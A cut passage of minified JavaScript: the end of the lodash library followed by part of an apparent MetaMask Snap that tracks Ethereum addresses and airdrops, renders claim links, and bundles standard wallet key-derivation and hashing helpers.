https://npms.io/search?q=ponyfill.");return Tr(n)},Ne.isNil=function(n){return null==n},Ne.isNull=function(n){return null===n},Ne.isNumber=is,Ne.isObject=ts,Ne.isObjectLike=es,Ne.isPlainObject=os,Ne.isRegExp=as,Ne.isSafeInteger=function(n){return Qa(n)&&n>=-9007199254740991&&n<=p},Ne.isSet=ss,Ne.isString=us,Ne.isSymbol=cs,Ne.isTypedArray=fs,Ne.isUndefined=function(n){return n===i},Ne.isWeakMap=function(n){return es(n)&&go(n)==K},Ne.isWeakSet=function(n){return es(n)&&"[object WeakSet]"==Ir(n)},Ne.join=function(n,t){return null==n?"":Nt.call(n,t)},Ne.kebabCase=Vs,Ne.last=Xo,Ne.lastIndexOf=function(n,t,e){var r=null==n?0:n.length;if(!r)return-1;var o=r;return e!==i&&(o=(o=ys(e))<0?me(r+o,0):ve(o,r-1)),t==t?function(n,t,e){for(var r=e+1;r--;)if(n[r]===t)return r;return r}(n,t,o):zt(n,qt,o,!0)},Ne.lowerCase=qs,Ne.lowerFirst=Ws,Ne.lt=ls,Ne.lte=hs,Ne.max=function(n){return n&&n.length?gr(n,iu,kr):i},Ne.maxBy=function(n,t){return n&&n.length?gr(n,co(t,2),kr):i},Ne.mean=function(n){return Wt(n,iu)},Ne.meanBy=function(n,t){return Wt(n,co(t,2))},Ne.min=function(n){return n&&n.length?gr(n,iu,Hr):i},Ne.minBy=function(n,t){return n&&n.length?gr(n,co(t,2),Hr):i},Ne.stubArray=gu,Ne.stubFalse=wu,Ne.stubObject=function(){return{}},Ne.stubString=function(){return""},Ne.stubTrue=function(){return!0},Ne.multiply=Bu,Ne.nth=function(n,t){return n&&n.length?Mr(n,ys(t)):i},Ne.noConflict=function(){return gt._===this&&(gt._=Dn),this},Ne.noop=cu,Ne.now=ka,Ne.pad=function(n,t,e){n=ms(n);var r=(t=ys(t))?pe(n):0;if(!t||r>=t)return n;var i=(t-r)/2;return Vi(wt(i),e)+n+Vi(yt(i),e)},Ne.padEnd=function(n,t,e){n=ms(n);var r=(t=ys(t))?pe(n):0;return t&&r<t?n+Vi(t-r,e):n},Ne.padStart=function(n,t,e){n=ms(n);var r=(t=ys(t))?pe(n):0;return t&&r<t?Vi(t-r,e)+n:n},Ne.parseInt=function(n,t,e){return e||null==t?t=0:t&&(t=+t),Ee(ms(n).replace(sn,""),t||0)},Ne.random=function(n,t,e){if(e&&"boolean"!=typeof e&&xo(n,t,e)&&(t=e=i),e===i&&("boolean"==typeof t?(e=t,t=i):"boolean"==typeof n&&(e=n,n=i)),n===i&&t===i?(n=0,t=1):(n=ps(n),t===i?(t=n,n=0):t=ps(t)),n>t){var r=n;n=t,t=r}if(e||n%1||t%1){var o=Be();return ve(n+o*(t-n+ht("1e-"+((o+"").length-1))),t)}return Zr(n,t)},Ne.reduce=function(n,t,e){var r=Va(n)?jt:Yt,i=arguments.length<3;return r(n,co(t,4),e,i,dr)},Ne.reduceRight=function(n,t,e){var r=Va(n)?Ht:Yt,i=arguments.length<3;return r(n,co(t,4),e,i,pr)},Ne.repeat=function(n,t,e){return t=(e?xo(n,t,e):t===i)?1:ys(t),Yr(ms(n),t)},Ne.replace=function(){var n=arguments,t=ms(n[0]);return n.length<3?t:t.replace(n[1],n[2])},Ne.result=function(n,t,e){var r=-1,o=(t=vi(t,n)).length;for(o||(o=1,n=i);++r<o;){var a=null==n?i:n[jo(t[r])];a===i&&(r=o,a=e),n=Ja(a)?a.call(n):a}return n},Ne.round=_u,Ne.runInContext=n,Ne.sample=function(n){return(Va(n)?Je:Jr)(n)},Ne.size=function(n){if(null==n)return 0;if(Wa(n))return us(n)?pe(n):n.length;var t=go(n);return t==A||t==L?n.size:Pr(n).length},Ne.snakeCase=Gs,Ne.some=function(n,t,e){var r=Va(n)?$t:oi;return e&&xo(n,t,e)&&(t=i),r(n,co(t,3))},Ne.sortedIndex=function(n,t){return ai(n,t)},Ne.sortedIndexBy=function(n,t,e){return si(n,t,co(e,2))},Ne.sortedIndexOf=function(n,t){var e=null==n?0:n.length;if(e){var r=ai(n,t);if(r<e&&Na(n[r],t))return r}return-1},Ne.sortedLastIndex=function(n,t){return ai(n,t,!0)},Ne.sortedLastIndexBy=function(n,t,e){return si(n,t,co(e,2),!0)},Ne.sortedLastIndexOf=function(n,t){if(null==n?0:n.length){var e=ai(n,t,!0)-1;if(Na(n[e],t))return e}return-1},Ne.startCase=Zs,Ne.startsWith=function(n,t,e){return n=ms(n),e=null==e?0:ur(ys(e),0,n.length),t=fi(t),n.slice(e,e+t.length)==t},Ne.subtract=Au,Ne.sum=function(n){return n&&n.length?Xt(n,iu):0},Ne.sumBy=function(n,t){return n&&n.length?Xt(n,co(t,2)):0},Ne.template=function(n,t,e){var r=Ne.templateSettings;e&&xo(n,t,e)&&(t=i),n=ms(n),t=Es({},t,r,Qi);var o,a,s=Es({},t.imports,r.imports,Qi),u=Cs(s),c=te(s,u),f=0,l=t.interpolate||Bn,h="__p += '",d=Sn((t.escape||Bn).source+"|"+l.source+"|"+(l===nn?yn:Bn).source+"|"+(t.evaluate||Bn).source+"|$","g"),p="//# sourceURL="+(Pn.call(t,"sourceURL")?(t.sourceURL+"").replace(/\s/g," "):"lodash.templateSources["+ ++ut+"]")+"\n";n.replace(d,function(t,e,r,i,s,u){return r||(r=i),h+=n.slice(f,u).replace(_n,se),e&&(o=!0,h+="' +\n__e("+e+") +\n'"),s&&(a=!0,h+="';\n"+s+";\n__p += '"),r&&(h+="' +\n((__t = ("+r+")) == null ? '' : __t) +\n'"),f=u+t.length,t}),h+="';\n";var y=Pn.call(t,"variable")&&t.variable;if(y){if(dn.test(y))throw new An("Invalid `variable` option passed into `_.template`")}else h="with (obj) {\n"+h+"\n}\n";h=(a?h.replace(V,""):h).replace(q,"$1").replace(W,"$1;"),h="function("+(y||"obj")+") {\n"+(y?"":"obj || (obj = {});\n")+"var __t, __p = ''"+(o?", __e = _.escape":"")+(a?", __j = Array.prototype.join;\nfunction print() { __p += __j.call(arguments, '') }\n":";\n")+h+"return __p\n}";var g=Qs(function(){return In(u,p+"return "+h).apply(i,c)});if(g.source=h,Xa(g))throw g;return g},Ne.times=function(n,t){if((n=ys(n))<1||n>p)return[];var e=g,r=ve(n,g);t=co(t),n-=g;for(var i=Jt(r,t);++e<n;)t(e);return i},Ne.toFinite=ps,Ne.toInteger=ys,Ne.toLength=gs,Ne.toLower=function(n){return ms(n).toLowerCase()},Ne.toNumber=ws,Ne.toSafeInteger=function(n){return n?ur(ys(n),-9007199254740991,p):0===n?n:0},Ne.toString=ms,Ne.toUpper=function(n){return ms(n).toUpperCase()},Ne.trim=function(n,t,e){if((n=ms(n))&&(e||t===i))return Qt(n);if(!n||!(t=fi(t)))return n;var r=ye(n),o=ye(t);return Ei(r,re(r,o),ie(r,o)+1).join("")},Ne.trimEnd=function(n,t,e){if((n=ms(n))&&(e||t===i))return n.slice(0,ge(n)+1);if(!n||!(t=fi(t)))return n;var r=ye(n);return Ei(r,0,ie(r,ye(t))+1).join("")},Ne.trimStart=function(n,t,e){if((n=ms(n))&&(e||t===i))return n.replace(sn,"");if(!n||!(t=fi(t)))return n;var r=ye(n);return Ei(r,re(r,ye(t))).join("")},Ne.truncate=function(n,t){var e=30,r="...";if(ts(t)){var o="separator"in t?t.separator:o;e="length"in t?ys(t.length):e,r="omission"in t?fi(t.omission):r}var a=(n=ms(n)).length;if(ue(n)){var s=ye(n);a=s.length}if(e>=a)return n;var u=e-pe(r);if(u<1)return r;var c=s?Ei(s,0,u).join(""):n.slice(0,u);if(o===i)return c+r;if(s&&(u+=c.length-u),as(o)){if(n.slice(u).search(o)){var f,l=c;for(o.global||(o=Sn(o.source,ms(gn.exec(o))+"g")),o.lastIndex=0;f=o.exec(l);)var h=f.index;c=c.slice(0,h===i?u:h)}}else if(n.indexOf(fi(o),u)!=u){var d=c.lastIndexOf(o);d>-1&&(c=c.slice(0,d))}return c+r},Ne.unescape=function(n){return(n=ms(n))&&Y.test(n)?n.replace(G,we):n},Ne.uniqueId=function(n){var t=++jn;return ms(n)+t},Ne.upperCase=Ys,Ne.upperFirst=Xs,Ne.each=ma,Ne.eachRight=va,Ne.first=Wo,uu(Ne,(Eu={},xr(Ne,function(n,t){Pn.call(Ne.prototype,t)||(Eu[t]=n)}),Eu),{chain:!1}),Ne.VERSION="4.17.23",Lt(["bind","bindKey","curry","curryRight","partial","partialRight"],function(n){Ne[n].placeholder=Ne}),Lt(["drop","take"],function(n,t){Ve.prototype[n]=function(e){e=e===i?1:me(ys(e),0);var r=this.__filtered__&&!t?new Ve(this):this.clone();return r.__filtered__?r.__takeCount__=ve(e,r.__takeCount__):r.__views__.push({size:ve(e,g),type:n+(r.__dir__<0?"Right":"")}),r},Ve.prototype[n+"Right"]=function(t){return this.reverse()[n](t).reverse()}}),Lt(["filter","map","takeWhile"],function(n,t){var e=t+1,r=1==e||3==e;Ve.prototype[n]=function(n){var t=this.clone();return t.__iteratees__.push({iteratee:co(n,3),type:e}),t.__filtered__=t.__filtered__||r,t}}),Lt(["head","last"],function(n,t){var e="take"+(t?"Right":"");Ve.prototype[n]=function(){return this[e](1).value()[0]}}),Lt(["initial","tail"],function(n,t){var e="drop"+(t?"":"Right");Ve.prototype[n]=function(){return this.__filtered__?new Ve(this):this[e](1)}}),Ve.prototype.compact=function(){return this.filter(iu)},Ve.prototype.find=function(n){return this.filter(n).head()},Ve.prototype.findLast=function(n){return this.reverse().find(n)},Ve.prototype.invokeMap=Xr(function(n,t){return"function"==typeof n?new Ve(this):this.map(function(e){return Or(e,n,t)})}),Ve.prototype.reject=function(n){return this.filter(Fa(co(n)))},Ve.prototype.slice=function(n,t){n=ys(n);var e=this;return e.__filtered__&&(n>0||t<0)?new Ve(e):(n<0?e=e.takeRight(-n):n&&(e=e.drop(n)),t!==i&&(e=(t=ys(t))<0?e.dropRight(-t):e.take(t-n)),e)},Ve.prototype.takeRightWhile=function(n){return this.reverse().takeWhile(n).reverse()},Ve.prototype.toArray=function(){return this.take(g)},xr(Ve.prototype,function(n,t){var e=/^(?:filter|find|map|reject)|While$/.test(t),r=/^(?:head|last)$/.test(t),o=Ne[r?"take"+("last"==t?"Right":""):t],a=r||/^find/.test(t);o&&(Ne.prototype[t]=function(){var t=this.__wrapped__,s=r?[1]:arguments,u=t instanceof Ve,c=s[0],f=u||Va(t),l=function(n){var t=o.apply(Ne,Pt([n],s));return r&&h?t[0]:t};f&&e&&"function"==typeof c&&1!=c.length&&(u=f=!1);var h=this.__chain__,d=!!this.__actions__.length,p=a&&!h,y=u&&!d;if(!a&&f){t=y?t:new Ve(this);var g=n.apply(t,s);return g.__actions__.push({func:pa,args:[l],thisArg:i}),new Me(g,h)}return p&&y?n.apply(this,s):(g=this.thru(l),p?r?g.value()[0]:g.value():g)})}),Lt(["pop","push","shift","sort","splice","unshift"],function(n){var t=Cn[n],e=/^(?:push|sort|unshift)$/.test(n)?"tap":"thru",r=/^(?:pop|shift)$/.test(n);Ne.prototype[n]=function(){var n=arguments;if(r&&!this.__chain__){var i=this.value();return t.apply(Va(i)?i:[],n)}return this[e](function(e){return t.apply(Va(e)?e:[],n)})}}),xr(Ve.prototype,function(n,t){var e=Ne[t];if(e){var r=e.name+"";Pn.call(Ce,r)||(Ce[r]=[]),Ce[r].push({name:t,func:e})}}),Ce[Ni(i,2).name]=[{name:"wrapper",func:i}],Ve.prototype.clone=function(){var n=new Ve(this.__wrapped__);return n.__actions__=Li(this.__actions__),n.__dir__=this.__dir__,n.__filtered__=this.__filtered__,n.__iteratees__=Li(this.__iteratees__),n.__takeCount__=this.__takeCount__,n.__views__=Li(this.__views__),n},Ve.prototype.reverse=function(){if(this.__filtered__){var n=new Ve(this);n.__dir__=-1,n.__filtered__=!0}else(n=this.clone()).__dir__*=-1;return n},Ve.prototype.value=function(){var n=this.__wrapped__.value(),t=this.__dir__,e=Va(n),r=t<0,i=e?n.length:0,o=function(n,t,e){var r=-1,i=e.length;for(;++r<i;){var o=e[r],a=o.size;switch(o.type){case"drop":n+=a;break;case"dropRight":t-=a;break;case"take":t=ve(t,n+a);break;case"takeRight":n=me(n,t-a)}}return{start:n,end:t}}(0,i,this.__views__),a=o.start,s=o.end,u=s-a,c=r?s:a-1,f=this.__iteratees__,l=f.length,h=0,d=ve(u,this.__takeCount__);if(!e||!r&&i==u&&d==u)return yi(n,this.__actions__);var p=[];n:for(;u--&&h<d;){for(var y=-1,g=n[c+=t];++y<l;){var w=f[y],b=w.iteratee,m=w.type,v=b(g);if(2==m)g=v;else if(!v){if(1==m)continue n;break n}}p[h++]=g}return p},Ne.prototype.at=ya,Ne.prototype.chain=function(){return da(this)},Ne.prototype.commit=function(){return new Me(this.value(),this.__chain__)},Ne.prototype.next=function(){this.__values__===i&&(this.__values__=ds(this.value()));var n=this.__index__>=this.__values__.length;return{done:n,value:n?i:this.__values__[this.__index__++]}},Ne.prototype.plant=function(n){for(var t,e=this;e instanceof ze;){var r=$o(e);r.__index__=0,r.__values__=i,t?o.__wrapped__=r:t=r;var o=r;e=e.__wrapped__}return o.__wrapped__=n,t},Ne.prototype.reverse=function(){var n=this.__wrapped__;if(n instanceof Ve){var t=n;return this.__actions__.length&&(t=new Ve(this)),(t=t.reverse()).__actions__.push({func:pa,args:[ta],thisArg:i}),new Me(t,this.__chain__)}return this.thru(ta)},Ne.prototype.toJSON=Ne.prototype.valueOf=Ne.prototype.value=function(){return yi(this.__wrapped__,this.__actions__)},Ne.prototype.first=Ne.prototype.head,Qn&&(Ne.prototype[Qn]=function(){return this}),Ne}();gt._=be,(r=function(){return be}.call(t,e,t,n))===i||(n.exports=r)}.call(this)}},t={};function e(r){var i=t[r];if(void 0!==i)return i.exports;var o=t[r]={id:r,loaded:!1,exports:{}};return n[r].call(o.exports,o,o.exports,e),o.loaded=!0,o.exports}e.d=(n,t)=>{for(var r in t)e.o(t,r)&&!e.o(n,r)&&Object.defineProperty(n,r,{enumerable:!0,get:t[r]})},e.o=(n,t)=>Object.prototype.hasOwnProperty.call(n,t),e.r=n=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},e.nmd=n=>(n.paths=[],n.children||(n.children=[]),n);var r={};(()=>{"use strict";e.r(r),e.d(r,{onHomePage:()=>Nu,onInstall:()=>Du,onUserInput:()=>zu});var n={};e.r(n),e.d(n,{compressPublicKey:()=>vo,compressedPublicKeyLength:()=>_o,curve:()=>lo,decompressPublicKey:()=>xo,deriveUnhardenedKeys:()=>go,getPublicKey:()=>bo,isValidPrivateKey:()=>yo,masterNodeGenerationSpec:()=>Bo,name:()=>ho,privateKeyLength:()=>Eo,publicAdd:()=>mo,publicKeyLength:()=>wo,secret:()=>po});var t={};e.r(t),e.d(t,{bytesToNumberLE:()=>Co,compressPublicKey:()=>Fo,compressedPublicKeyLength:()=>$o,curve:()=>Ao,decompressPublicKey:()=>Po,deriveUnhardenedKeys:()=>Lo,getPublicKey:()=>Ro,isValidPrivateKey:()=>So,masterNodeGenerationSpec:()=>Ho,multiplyWithBase:()=>Ko,name:()=>Io,privateKeyLength:()=>jo,publicAdd:()=>To,publicKeyLength:()=>Oo,secret:()=>ko});var i={};e.r(i),e.d(i,{deriveChildKey:()=>Ba,privateKeyToEthAddress:()=>xa,publicKeyToEthAddress:()=>Ea});var o={};e.r(o),e.d(o,{bip39MnemonicToMultipath:()=>Sa,createBip39KeyFromSeed:()=>Ka,deriveChildKey:()=>Ca,entropyToCip3MasterNode:()=>Ra,getDerivationPathWithSeed:()=>Oa,mnemonicToSeed:()=>Ua,multipathToBip39Mnemonic:()=>La});var a={};e.r(a),e.d(a,{add:()=>Na,bigIntToBytes:()=>Pa,bytesToBigInt:()=>Fa,deriveChainCode:()=>Ga,deriveChildKey:()=>Xa,derivePrivateKey:()=>Va,derivePublicKey:()=>Ya,getKeyExtension:()=>Da,mod2Pow256:()=>$a,padEnd32Bytes:()=>ja,toReversed:()=>Ta,trunc28Mul8:()=>Ha});var s={};e.r(s),e.d(s,{deriveChildKey:()=>Ja});var u={};function c(n,t,e){if("string"==typeof n)throw new Error(`An HTML element ("${String(n)}") was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.`);if(!n)throw new Error("A JSX fragment was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.");return n({...t,key:e})}function f(n,t,e){return c(n,t,e)}function l(n){return Object.fromEntries(Object.entries(n).filter(([,n])=>void 0!==n))}function h(n){return t=>{const{key:e=null,...r}=t;return{type:n,props:l(r),key:e}}}e.r(u),e.d(u,{compressPublicKey:()=>Ds,compressedPublicKeyLength:()=>qs,curve:()=>Rs,decompressPublicKey:()=>zs,deriveUnhardenedKeys:()=>Ps,getPublicKey:()=>$s,isValidPrivateKey:()=>Hs,masterNodeGenerationSpec:()=>Vs,name:()=>Ts,privateKeyLength:()=>Ms,publicAdd:()=>Ns,publicKeyLength:()=>js,secret:()=>Fs});const d=h("Box"),p=h("Heading"),y=h("Divider"),g=h("Text"),w=h("Bold");function b(){return{version:2,ethereumAddresses:[],airdrops:[],preferences:{enabledChains:["ethereum","arbitrum","optimism","base","linea"],notificationsEnabled:!0,scanFrequency:"6hours",dismissedAirdrops:[]},lastScanTimestamp:0,totalValueFound:0,installTimestamp:Date.now(),claimAttempted:!1,claimTxHash:null}}const m={1:n=>{var t;return{...b(),version:2,airdrops:n.airdrops||[],ethereumAddresses:(null===(t=n.addresses)||void 0===t?void 0:t.ethereum)||[],installTimestamp:n.installTimestamp||Date.now()}}};async function v(){const n=await snap.request({method:"snap_manageState",params:{operation:"get",encrypted:!1}});return n?function(n){if(!n||"number"!=typeof n.version)return b();let t=n,e=n.version;for(;e<2;){const n=m[e];if(!n)return b();t=n(t),e=t.version}return t}(n):b()}async function x(n){await snap.request({method:"snap_manageState",params:{operation:"update",encrypted:!1,newState:n}})}async function E(n){const t=await v();t.ethereumAddresses=n,await x(t)}const B=h("Button"),_=h("Row"),A=h("Banner"),I=h("Link");function k(n){return n>=1e6?`$${(n/1e6).toFixed(1)}M`:n>=1e3?`$${(n/1e3).toFixed(1)}K`:n>=1?`$${n.toFixed(2)}`:n>0?`$${n.toFixed(4)}`:"$0.00"}function U(n){const t=Date.now()-n,e=Math.floor(t/1e3),r=Math.floor(e/60),i=Math.floor(r/60),o=Math.floor(i/24);return o>0?`${o}d ago`:i>0?`${i}h ago`:r>0?`${r}m ago`:"just now"}function S(n){const t=n-Date.now();if(t<=0)return"Expired";const e=Math.floor(t/864e5),r=Math.floor(t%864e5/36e5);return e>30?`${Math.floor(e/30)} months`:e>0?`${e}d ${r}h`:r>0?`${r}h`:"Less than 1h"}const L=({airdrop:n})=>{const t=n.estimatedValue?k(n.estimatedValue):"TBD",e=n.amount?`${function(n){const t=parseFloat(n);return isNaN(t)?n:t>=1e6?`${(t/1e6).toFixed(1)}M`:t>=1e3?`${(t/1e3).toFixed(1)}K`:t>=1?t.toFixed(2):t.toFixed(4)}(n.amount)} ${n.token}`:n.token,r={ethereum:"Ethereum",arbitrum:"Arbitrum",optimism:"Optimism",base:"Base",linea:"Linea"}[i=n.chain]??i;var i;const o=n.claimDeadline&&n.claimDeadline>Date.now()&&n.claimDeadline-Date.now()<2592e5;return f(d,{children:[c(_,{label:`${n.name} ($${n.token})`,children:f(g,{children:["~",t]})}),c(_,{label:"Amount",children:f(g,{children:[e," on ",r]})}),o&&n.claimDeadline&&c(_,{label:"Deadline",children:f(g,{children:[S(n.claimDeadline)," remaining"]})}),n.claimUrl&&"claimable"===n.status&&c(_,{label:"Action",children:c(I,{href:n.claimUrl,children:"Claim Now"})})]})},O=()=>f(d,{children:[c(p,{children:"No Airdrops Found"}),c(g,{children:"We scanned your addresses across all enabled chains but didn't find any airdrops yet."}),c(y,{}),f(g,{children:[c(w,{children:"Don't worry!"})," We'll keep scanning every 6 hours and notify you when something appears."]}),c(g,{children:"Tip: Use your wallet across more protocols to increase your chances of qualifying for future airdrops."})]}),C=({state:n})=>{const{airdrops:t,preferences:e,lastScanTimestamp:r,totalValueFound:i}=n,o=t.filter(n=>!e.dismissedAirdrops.includes(n.id));if(0===o.length)return f(d,{children:[c(p,{children:"AIRDROP FEED"}),r>0&&f(g,{children:["Last scan: ",U(r)]}),c(y,{}),c(O,{}),c(y,{}),c(B,{name:"open-settings",children:"Settings"})]});const a=o.filter(n=>"claimable"===n.status),s=o.filter(n=>"eligible"===n.status),u=o.filter(n=>"upcoming"===n.status),l=o.filter(n=>"claimed"===n.status),h=a.reduce((n,t)=>n+(t.estimatedValue??0),0),b=o.filter(n=>null!==n.claimDeadline&&n.claimDeadline>Date.now()&&n.claimDeadline-Date.now()<2592e5);return f(d,{children:[c(p,{children:"AIRDROP FEED"}),c(_,{label:"Total Value Found",children:c(g,{children:c(w,{children:k(i)})})}),c(_,{label:`${String(o.length)} airdrops`,children:f(g,{children:["Last scan: ",U(r)]})}),c(_,{label:"Chains",children:f(g,{children:[String(e.enabledChains.length)," chains enabled"]})}),c(y,{}),a.length>0&&c(A,{title:`${String(a.length)} airdrops ready to claim!`,severity:"success",children:f(g,{children:["Worth ~",k(h)]})}),b.length>0&&c(A,{title:"Expiring Soon",severity:"warning",children:b.map(n=>f(g,{children:[n.name," claim deadline in"," ",S(n.claimDeadline)]}))}),a.length>0&&f(d,{children:[c(y,{}),c(g,{children:c(w,{children:"READY TO CLAIM"})}),a.map(n=>c(L,{airdrop:n}))]}),s.length>0&&f(d,{children:[c(y,{}),c(g,{children:c(w,{children:"ELIGIBLE"})}),s.map(n=>c(L,{airdrop:n}))]}),u.length>0&&f(d,{children:[c(y,{}),c(g,{children:c(w,{children:"UPCOMING"})}),u.map(n=>c(L,{airdrop:n}))]}),l.length>0&&f(d,{children:[c(y,{}),c(g,{children:c(w,{children:"CLAIMED"})}),l.map(n=>c(L,{airdrop:n}))]}),c(y,{}),c(B,{name:"open-settings",children:"Settings"})]})};function K(n,t){return e=n,Boolean("string"==typeof e?.prototype?.constructor?.name)?new n({message:t}):n({message:t});var e}class R extends Error{constructor(n){super(n.message),this.code="ERR_ASSERTION"}}function T(n,t="Assertion failed.",e=R){if(!n){if(t instanceof Error)throw t;throw K(e,t)}}function F(n){throw new Error("Invalid branch reached. Should be detected during compilation.")}const P=32,j=4294967295,H="bip32:44'",$=/^\d+$/u,N=/^bip32:\d+'?$/u,D=/^slip10:\d+'?$/u,z=/^cip3:\d+'?$/u,M=/^bip39:([a-z]+){1}( [a-z]+){11,23}$/u,V=2147483648;class q extends TypeError{constructor(n,t){let e;const{message:r,explanation:i,...o}=n,{path:a}=n,s=0===a.length?r:`At path: ${a.join(".")} -- ${r}`;super(i??s),null!=i&&(this.cause=s),Object.assign(this,o),this.name=this.constructor.name,this.failures=()=>e??(e=[n,...t()])}}function W(n){return"object"==typeof n&&null!==n}function G(n){return"symbol"==typeof n?n.toString():"string"==typeof n?JSON.stringify(n):`${n}`}function Z(n,t,e,r){if(!0===n)return;!1===n?n={}:"string"==typeof n&&(n={message:n});const{path:i,branch:o}=t,{type:a}=e,{refinement:s,message:u=`Expected a value of type \`${a}\`${s?` with refinement \`${s}\``:""}, but received: \`${G(r)}\``}=n;return{value:r,type:a,refinement:s,key:i[i.length-1],path:i,branch:o,...n,message:u}}function*Y(n,t,e,r){(function(n){return W(n)&&"function"==typeof n[Symbol.iterator]})(n)||(n=[n]);for(const i of n){const n=Z(i,t,e,r);n&&(yield n)}}function*X(n,t,e={}){const{path:r=[],branch:i=[n],coerce:o=!1,mask:a=!1}=e,s={path:r,branch:i};if(o&&(n=t.coercer(n,s),a&&"type"!==t.type&&W(t.schema)&&W(n)&&!Array.isArray(n)))for(const e in n)void 0===t.schema[e]&&delete n[e];let u="valid";for(const r of t.validator(n,s))r.explanation=e.message,u="not_valid",yield[r,void 0];for(let[c,f,l]of t.entries(n,s)){const t=X(f,l,{path:void 0===c?r:[...r,c],branch:void 0===c?i:[...i,f],coerce:o,mask:a,message:e.message});for(const e of t)e[0]?(u=null===e[0].refinement||void 0===e[0].refinement?"not_valid":"not_refined",yield[e[0],void 0]):o&&(f=e[1],void 0===c?n=f:n instanceof Map?n.set(c,f):n instanceof Set?n.add(f):W(n)&&(void 0!==f||c in n)&&(n[c]=f))}if("not_valid"!==u)for(const r of t.refiner(n,s))r.explanation=e.message,u="not_refined",yield[r,void 0];"valid"===u&&(yield[void 0,n])}class J{constructor(n){const{type:t,schema:e,validator:r,refiner:i,coercer:o=n=>n,entries:a=function*(){}}=n;this.type=t,this.schema=e,this.entries=a,this.coercer=o,this.validator=r?(n,t)=>Y(r(n,t),t,this,n):()=>[],this.refiner=i?(n,t)=>Y(i(n,t),t,this,n):()=>[]}assert(n,t){return function(n,t,e){const r=Q(n,t,{message:e});if(r[0])throw r[0]}(n,this,t)}create(n,t){return function(n,t,e){const r=Q(n,t,{coerce:!0,message:e});if(r[0])throw r[0];return r[1]}(n,this,t)}is(n){return function(n,t){const e=Q(n,t);return!e[0]}(n,this)}mask(n,t){return function(n,t,e){const r=Q(n,t,{coerce:!0,mask:!0,message:e});if(r[0])throw r[0];return r[1]}(n,this,t)}validate(n,t={}){return Q(n,this,t)}}function Q(n,t,e={}){const r=X(n,t,e),i=function(n){const{done:t,value:e}=n.next();return t?void 0:e}(r);if(i[0]){return[new q(i[0],function*(){for(const n of r)n[0]&&(yield n[0])}),void 0]}return[void 0,i[1]]}function nn(n,t){return tn(n,"pattern",e=>t.test(e)||`Expected a ${n.type} matching \`/${t.source}/\` but received "${e}"`)}function tn(n,t,e){return new J({...n,*refiner(r,i){yield*n.refiner(r,i);const o=Y(e(r,i),i,n,r);for(const n of o)yield{...n,refinement:t}}})}function en(){return new J({type:"string",schema:null,validator:n=>"string"==typeof n||`Expected a string, but received: ${G(n)}`})}const rn=BigInt(2**32-1),on=BigInt(32);function an(n,t=!1){return t?{h:Number(n&rn),l:Number(n>>on&rn)}:{h:0|Number(n>>on&rn),l:0|Number(n&rn)}}function sn(n,t=!1){const e=n.length;let r=new Uint32Array(e),i=new Uint32Array(e);for(let o=0;o<e;o++){const{h:e,l:a}=an(n[o],t);[r[o],i[o]]=[e,a]}return[r,i]}const un=(n,t,e)=>n>>>e,cn=(n,t,e)=>n<<32-e|t>>>e,fn=(n,t,e)=>n>>>e|t<<32-e,ln=(n,t,e)=>n<<32-e|t>>>e,hn=(n,t,e)=>n<<64-e|t>>>e-32,dn=(n,t,e)=>n>>>e-32|t<<64-e,pn=(n,t,e)=>n<<e|t>>>32-e,yn=(n,t,e)=>t<<e|n>>>32-e,gn=(n,t,e)=>t<<e-32|n>>>64-e,wn=(n,t,e)=>n<<e-32|t>>>64-e;function bn(n,t,e,r){const i=(t>>>0)+(r>>>0);return{h:n+e+(i/2**32|0)|0,l:0|i}}const mn=(n,t,e)=>(n>>>0)+(t>>>0)+(e>>>0),vn=(n,t,e,r)=>t+e+r+(n/2**32|0)|0,xn=(n,t,e,r)=>(n>>>0)+(t>>>0)+(e>>>0)+(r>>>0),En=(n,t,e,r,i)=>t+e+r+i+(n/2**32|0)|0,Bn=(n,t,e,r,i)=>(n>>>0)+(t>>>0)+(e>>>0)+(r>>>0)+(i>>>0),_n=(n,t,e,r,i,o)=>t+e+r+i+o+(n/2**32|0)|0,An="object"==typeof globalThis&&"crypto"in globalThis?globalThis.crypto:void 0;function In(n){return n instanceof Uint8Array||ArrayBuffer.isView(n)&&"Uint8Array"===n.constructor.name}function kn(n){if(!Number.isSafeInteger(n)||n<0)throw new Error("positive integer expected, got "+n)}function Un(n,...t){if(!In(n))throw new Error("Uint8Array expected");if(t.length>0&&!t.includes(n.length))throw new Error("Uint8Array expected of length "+t+", got length="+n.length)}function Sn(n){if("function"!=typeof n||"function"!=typeof n.create)throw new Error("Hash should be wrapped by utils.createHasher");kn(n.outputLen),kn(n.blockLen)}function Ln(n,t=!0){if(n.destroyed)throw new Error("Hash instance has been destroyed");if(t&&n.finished)throw new Error("Hash#digest() has already been called")}function On(n,t){Un(n);const e=t.outputLen;if(n.length<e)throw new Error("digestInto() expects output buffer of length at least "+e)}function Cn(...n){for(let t=0;t<n.length;t++)n[t].fill(0)}function Kn(n){return new DataView(n.buffer,n.byteOffset,n.byteLength)}function Rn(n,t){return n<<32-t|n>>>t}function Tn(n,t){return n<<t|n>>>32-t>>>0}const Fn=68===new Uint8Array(new Uint32Array([287454020]).buffer)[0];function Pn(n){return n<<24&4278190080|n<<8&16711680|n>>>8&65280|n>>>24&255}const jn=Fn?n=>n:function(n){for(let t=0;t<n.length;t++)n[t]=Pn(n[t]);return n},Hn="function"==typeof Uint8Array.from([]).toHex&&"function"==typeof Uint8Array.fromHex,$n=Array.from({length:256},(n,t)=>t.toString(16).padStart(2,"0"));function Nn(n){if(Un(n),Hn)return n.toHex();let t="";for(let e=0;e<n.length;e++)t+=$n[n[e]];return t}const Dn=48,zn=57,Mn=65,Vn=70,qn=97,Wn=102;function Gn(n){return n>=Dn&&n<=zn?n-Dn:n>=Mn&&n<=Vn?n-(Mn-10):n>=qn&&n<=Wn?n-(qn-10):void 0}function Zn(n){if("string"!=typeof n)throw new Error("hex string expected, got "+typeof n);if(Hn)return Uint8Array.fromHex(n);const t=n.length,e=t/2;if(t%2)throw new Error("hex string expected, got unpadded hex of length "+t);const r=new Uint8Array(e);for(let t=0,i=0;t<e;t++,i+=2){const e=Gn(n.charCodeAt(i)),o=Gn(n.charCodeAt(i+1));if(void 0===e||void 0===o){const t=n[i]+n[i+1];throw new Error('hex string expected, got non-hex character "'+t+'" at index '+i)}r[t]=16*e+o}return r}const Yn=async()=>{};async function Xn(n,t,e){let r=Date.now();for(let 